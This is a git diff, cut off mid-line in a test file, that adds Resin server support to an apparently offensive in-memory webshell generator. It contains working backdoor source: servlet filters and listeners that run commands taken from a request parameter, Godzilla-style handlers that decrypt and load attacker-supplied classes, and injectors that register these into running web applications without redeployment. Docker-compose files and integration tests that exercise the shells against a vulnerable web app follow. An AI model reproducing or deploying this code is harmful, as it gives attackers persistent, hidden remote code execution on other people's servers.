diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/ResinShell.java new file mode 100644 index 00000000..aea7f17e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/resin/ResinShell.java @@ -0,0 +1,42 @@ +package com.reajason.javaweb.memsell.resin; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.AbstractShell; +import com.reajason.javaweb.memsell.resin.command.CommandFilter; +import com.reajason.javaweb.memsell.resin.command.CommandListener; +import com.reajason.javaweb.memsell.resin.godzilla.GodzillaFilter; +import com.reajason.javaweb.memsell.resin.godzilla.GodzillaListener; +import com.reajason.javaweb.memsell.resin.injector.ResinFilterInjector; +import com.reajason.javaweb.memsell.resin.injector.ResinListenerInjector; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class ResinShell extends AbstractShell { + @Override + public List getSupportedShellTools() { + return List.of(ShellTool.Godzilla, ShellTool.Command); + } + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + Constants.FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class), + Constants.LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + Constants.FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class), + Constants.LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class) + ); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/command/CommandFilter.java new file mode 100644 index 00000000..3b7871ad --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/resin/command/CommandFilter.java @@ -0,0 +1,48 @@ +package com.reajason.javaweb.memsell.resin.command; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class CommandFilter implements Filter { + public String paramName = "{{paramName}}"; + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest servletRequest = (HttpServletRequest) request; + HttpServletResponse servletResponse = (HttpServletResponse) response; + String cmd = servletRequest.getParameter(paramName); + try { + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void destroy() { + + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/command/CommandListener.java new file mode 100644 index 00000000..e199efdd --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/resin/command/CommandListener.java @@ -0,0 +1,70 @@ +package com.reajason.javaweb.memsell.resin.command; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class CommandListener implements ServletRequestListener { + public String paramName = "{{paramName}}"; + + public CommandListener() { + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + response = (HttpServletResponse) getFieldValue(request, "_response"); + return response; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/godzilla/GodzillaFilter.java new file mode 100644 index 00000000..38882096 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/resin/godzilla/GodzillaFilter.java @@ -0,0 +1,127 @@ +package com.reajason.javaweb.memsell.resin.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaFilter extends ClassLoader implements Filter { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaFilter() { + } + + public GodzillaFilter(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + @SuppressWarnings("all") + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (InstantiationException | IllegalAccessException e) { + throw new RuntimeException(e); + } + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/godzilla/GodzillaListener.java new file mode 100644 index 00000000..5003e2bc --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/resin/godzilla/GodzillaListener.java @@ -0,0 +1,144 @@ +package com.reajason.javaweb.memsell.resin.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class GodzillaListener extends ClassLoader implements ServletRequestListener { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaListener() { + } + + public GodzillaListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute( + "payload", + (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + response = (HttpServletResponse) getFieldValue(request, "_response"); + return response; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinFilterInjector.java new file mode 100644 index 00000000..35004c42 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinFilterInjector.java @@ -0,0 +1,221 @@ +package com.reajason.javaweb.memsell.resin.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class ResinFilterInjector { + + static { + new ResinFilterInjector(); + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public ResinFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + + private void addFilter(Object context, Object filter) throws Exception { + String filterClassName = filter.getClass().getName(); + if (isInjected(context, filterClassName)) { + System.out.println("filter already injected"); + return; + } + try { + Class filterMappingClass; + try { + filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); + } catch (Exception e) { + filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping"); + } + Object filterMappingImpl = filterMappingClass.newInstance(); + invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern"); + invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(urlPattern, "init"); + invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl}); + invokeMethod(context, "clearCache"); + System.out.println("filter injected"); + } catch (Throwable e) { + System.out.println("filter inject failed"); + e.printStackTrace(); + } + } + + public List getContext() { + Set contexts = new HashSet(); + try { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + Class servletInvocationClass = null; + try { + servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + } catch (Exception e) { + continue; + } + if (servletInvocationClass != null) { + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + if (webApp != null) { + contexts.add(webApp); + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return Arrays.asList(contexts.toArray()); + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return filter; + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Map filters = (Map) getFV(getFV(context, "_filterManager"), "_filters"); + for (String key : filters.keySet()) { + if (key.contains(evilClassName)) { + return true; + } + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinListenerInjector.java new file mode 100644 index 00000000..c942e2b2 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/resin/injector/ResinListenerInjector.java @@ -0,0 +1,194 @@ +package com.reajason.javaweb.memsell.resin.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class ResinListenerInjector { + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + static { + new ResinListenerInjector(); + } + + public ResinListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + injectListener(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + + private void injectListener(Object context, Object listener) throws Exception { + if (!isInjected(context, listener.getClass().getName())) { + invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true}); + // 清除缓存,否则某些 uri 无法连接 + invokeMethod(context, "clearCache"); + } + } + + public List getContext() { + Set contexts = new HashSet(); + try { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + Class servletInvocationClass = null; + try { + servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + } catch (Exception e) { + continue; + } + if (servletInvocationClass != null) { + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + if (webApp != null) { + contexts.add(webApp); + } + } + } + } catch (Exception e) { + // Handle exception + } + return Arrays.asList(contexts.toArray()); + } + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + List arrayList = (ArrayList) getFV(context, "_requestListeners"); + for (Object o : arrayList) { + if (o.getClass().getName().contains(evilClassName)) { + return true; + } + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} \ No newline at end of file diff --git a/integration-test/docker-compose/resin/docker-compose-3.1.16.yaml b/integration-test/docker-compose/resin/docker-compose-3.1.16.yaml new file mode 100644 index 00000000..14eca59b --- /dev/null +++ b/integration-test/docker-compose/resin/docker-compose-3.1.16.yaml @@ -0,0 +1,10 @@ +services: + resin3116: + image: reajason/resin:3.1.16 + container_name: resin3116 + ports: + - "8080:8080" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/resin3/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/resin/docker-compose-3.1.8-jdk7.yaml b/integration-test/docker-compose/resin/docker-compose-3.1.8-jdk7.yaml new file mode 100644 index 00000000..463bf1df --- /dev/null +++ b/integration-test/docker-compose/resin/docker-compose-3.1.8-jdk7.yaml @@ -0,0 +1,11 @@ +services: + resin318: + image: reajason/resin:3.1.8-jdk7 + container_name: resin318 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/resin3/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/resin/docker-compose-4.0.58.yaml b/integration-test/docker-compose/resin/docker-compose-4.0.58.yaml new file mode 100644 index 00000000..0bb1f8af --- /dev/null +++ b/integration-test/docker-compose/resin/docker-compose-4.0.58.yaml @@ -0,0 +1,10 @@ +services: + resin4058: + image: reajason/resin:4.0.58 + container_name: resin4058 + ports: + - "8080:8080" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/resin4/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/resin/docker-compose-4.0.67-jdk11.yaml b/integration-test/docker-compose/resin/docker-compose-4.0.67-jdk11.yaml new file mode 100644 index 00000000..c28acb40 --- /dev/null +++ b/integration-test/docker-compose/resin/docker-compose-4.0.67-jdk11.yaml @@ -0,0 +1,11 @@ +services: + resin4067: + image: reajason/resin:4.0.67-jdk11 + container_name: resin4067 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/resin4/webapps/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java new file mode 100644 index 00000000..08da5c4f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -0,0 +1,69 @@ +package com.reajason.javaweb.integration.resin; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Resin3116ContainerTest { + public static final String imageName = "reajason/resin:3.1.16"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, 